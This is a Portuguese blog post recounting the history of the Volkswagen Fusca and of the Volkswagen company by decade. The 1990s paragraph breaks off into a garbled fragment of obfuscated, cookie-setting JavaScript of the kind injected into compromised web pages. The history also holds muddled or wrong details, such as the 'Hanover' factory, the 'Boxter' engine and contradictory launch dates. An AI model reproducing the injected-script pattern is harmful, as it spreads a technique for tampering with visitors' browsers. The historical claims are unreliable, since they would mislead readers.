A história do Volkswagen Fusca

A história do Volkswagen Fusca

Fusca – a narrativa do carro mais popular da história

O fusca, carro icônico mundial, fez e ainda faz parte da vida e no cotidiano das pessoas no Brasil, e no mundo. O automóvel está eternizado no coração de diversas pessoas. O fusca foi um veículo utilizado pela Alemanha Nazista, durante a Segunda Guerra Mundial.

O nome do veículo foi nomeado a pedido de Hitler, o velho “beetle” foi eleito pela Volkswagen – proveniente do alemão, a palavra significa o carro do povo. Posteriormente, o automóvel ganhou um novo nome: “Volkswagen Sedan”. No Brasil o automóvel popular foi nomeado como fusca.

No início da década de 30, Ferdinand Porsche desenvolveu em sua própria garagem, na Alemanha, o projeto do fusca. O primeiro rascunho era equipado com um motor dois cilindros, refrigeração a ar, porém com um rendimento péssimo. Mais tarde, foi adicionado o motor quatro cilindros e opostos, chamado de Boxter – refrigerado a ar e com suspensão dianteira totalmente independente.

Foi um projeto bastante ousado e revolucionário, pois até está época os carros eram refrigerados com água, suspensão e com feixe de molas.

O lançamento do Fusca:

O fusca foi lançado oficialmente em 1935 pelo projetista Ferdinand Porsche. O Volkswagen, de fácil acesso à compra, o preço de 990 marcos (moeda alemã do período) – o fusca era equipado com motor de refrigeração a ar, sistema elétrico de 6 volts, cambio com 4 marchas.

No período só eram fabricados veículos com caixa de câmbio inferiores a 3 marchas, por isso, o fusca foi uma revolução automobilística do momento. Devido a isso, as evoluções se tornaram constantes, como a fabricação de veículos com sistemas de freios a tambor, caixa de direção tipo “rosca sem fim”, evoluções estéticas, etc.

Em 1936, as adaptações do fusca se aproximavam aos modelos encontrados atualmente, o automóvel fora equipado com pequenas janelas traseiras. Dez anos mais tarde, encontravam-se aproximadamente trinta modelos testados na Alemanha, e em 1938 foi desenvolvida a fábrica Hanover, para a produção em massa do fusca.

Devido a Segunda Guerra Mundial, o veículo se tornou militar. Posteriormente, os derivados começaram a surgir, como os jipes e a uma versão anfíbia chamada Shwinwagem. A mecânica também sofreu alterações, como pistões, válvulas, e motor de 995cc passaram a ser de 1.131cc.

No período se produziram mais de 70 mil unidades militares do fusca. Com os destroços da Segunda Guerra Mundial, e com toda a destruição da Alemanha – a fábrica da Hanover também não sobreviveu aos combates.

Renascimento do Fusca no Brasil:

A Volksvagem, após a Segunda Guerra Mundial, ficou praticamente arruinada até que um major inglês descobriu a marca e a fez renascer das cinzas. Na retomada da fabricação, o Volkswagen passou a ser utilizado em serviços de primeira necessidade como: correio e serviços médicos. Em 1946 já havia 10 mil veículos, dobrando de produção no ano seguinte.

Trajetória do Fusca no Brasil:

O fusca começou a ser fabricado no Brasil em 1959, e dois anos depois o sistema o pisca-pisca deixou de ser uma barra na coluna lateral central passando para lanternas traseiras, somado com as luzes de freio. Quase uma década depois, em 1967, o motor passa a ser de 1.300cc.

O fusca sofreu diversas modificações ao passar dos anos. No Brasil, o fusca se popularizou rapidamente, e teve o seu pico de vendas em 1974. O veículo quase chegou à extinção na década de 80, retomando o seu sucesso no governo de Itamar Franco.

Série Ouro:

No governo de Itamar, o fusca teve uma versão comemorativa de fabricação, onde foram produzidos 1.500, denominados de “Fusca série Ouro”. Os proprietários, que adquiriram o fusca, puderam gravar o seu nome no livro da VW.

Relançamento do Fusca:

Anos depois, o fusca surgiu com um relançamento oficial da VW. A empresa usou os chassis do Golf em seu nome novo design do “Beetle”. Assim, o fusca volta ao sucesso, sendo um veículo que ultrapassou décadas e, hoje, é um item fashion e memorável nas ruas do Brasil e do mundo.

Um pouco sobre a história da Volkswagen

A marca que mais produz no mundo é a Volkswagen. Uma empresa que praticamente nasceu da mão do criado da Porsche, o mesmo Ferdinand Porsche. Ao longo dos anos, a Volkswagen tornou-se um dos fabricantes mais importantes do setor, e tem o modelo que é vendido na Europa nos últimos anos, o Golf. Atualmente a Volkswagen está imersa em um processo de fusão com a Porsche.

Acredita-se que o emblema original tenha sido projetado em 1939 por Franz Xavier Reimspiess, funcionário da Porsche, durante uma competição no escritório. Ele recebeu 100 Reichsmarks, cerca de 400 dólares da época.

O logotipo não mudou muito desde a sua criação. As características “V” e “W” estavam presentes desde 1939, embora tenham sido gradualmente atualizadas ao longo dos anos para adquirir a forma atual.

1930-1939

Em 1934, o governo alemão recebeu uma proposta de design de Ferdinand Porsche para desenvolver um carro projetado para a cidade. Acabaria sendo chamado de “Volkswagen”, que em alemão significa “carro da aldeia”. Um ano depois, o primeiro protótipo é construído sob o mais estrito sigilo. Um dos símbolos mais famosos da qualidade de fabricação alemã é nascido. Em 1938 ele apresentou para o público o VW 38, ironicamente apelidado pelo New York Times como “Beetle” (Fusca) para o modelo de modo original e atraente, com curvas que lembram a forma de um besouro.

1940-1949

Em 1945, a fábrica da Volkswagen é chamada de Wolfsburg. Dois anos depois, as primeiras exportações começam. Em 1948, a sede da Volkswagenwerk GmbH, localizada em Berlim, mudou-se para Wolfsburg. Também neste ano a empresa de financiamento da Volkswagen é criada.

1960-1969

Mais de uma década depois, em 1964, foi fundada em Puebla, na Volkswagen México SA de CV, para fabricar veículos de acordo com os padrões alemães. No ano seguinte, já possuía 21,8% de market share com 22.220 veículos vendidos. Em 1965, a Volkswagenwerk AG adquiriu a subsidiária da Daimler-Benz, a Auto Union GmbH. A Volkswagen experimentou sua primeira crise de vendas em 1967. A produção cai 300.000 unidades e as vendas são reduzidas em 200.000. A Volkswagen reage reduzindo o preço do seu alcance.

1970-1979

Uma década cheia de novidades importantes começa. Em 1973 é apresentado o Passat e o Golf, chamado para ser o substituto do Fusca. O Golf GTI e o Polo são apresentados no Salão de Frankfurt de 1975. Em 1978, a Volkswagen e a Audi uniram-se à sua estrutura de vendas em todo o mundo sob a marca VAG e, no final daquele ano, contava com 211.000 empregados. No ano seguinte, a produção do Jetta começa.

1980-1989

Em 1981, a Volkswagen AG estabelece em Madrid a sua divisão de vendas VAG España, SA. Nesse mesmo ano, apresentou seu projeto de um motor turbo diesel com injeção direta com três cilindros, uma grande contribuição para reduzir o consumo de combustível e a poluição ambiental. Em 1982, o acordo de colaboração formalizado com a Empresa Espanhola de Automóveis da Tourism SA, SEAT, permite que a Volkswagenwerk AG prepare a abertura do mercado peninsular aos modelos do Grupo. A SEAT torna-se a terceira marca independente do Grupo Volkswagen. Na assembléia anual de acionistas de 1985, foi aprovada a mudança do nome da empresa da Volkswagenwerk AG para a Volkswagen AG.

1990-1999

Quando a Volkswagen assume o Škoda em 1991, obtém um excelente acesso ao mercado automóvel na Europa Central e Oriental. Em 1993, Ferdinand Piëch foi nomeado presidente do comité de gestão do grupo Volkswagen. Alguns meses depois, a produção da quarta geração do “Passat” começa. Em 1998, as marcas Rolls-Royce, Bentley, Bugatti e Lamborghini foram adquiridas.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]

Compartilhar esta postagem

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *


Rota 101 e 116

 

Em Breve a Disposição.

×asdf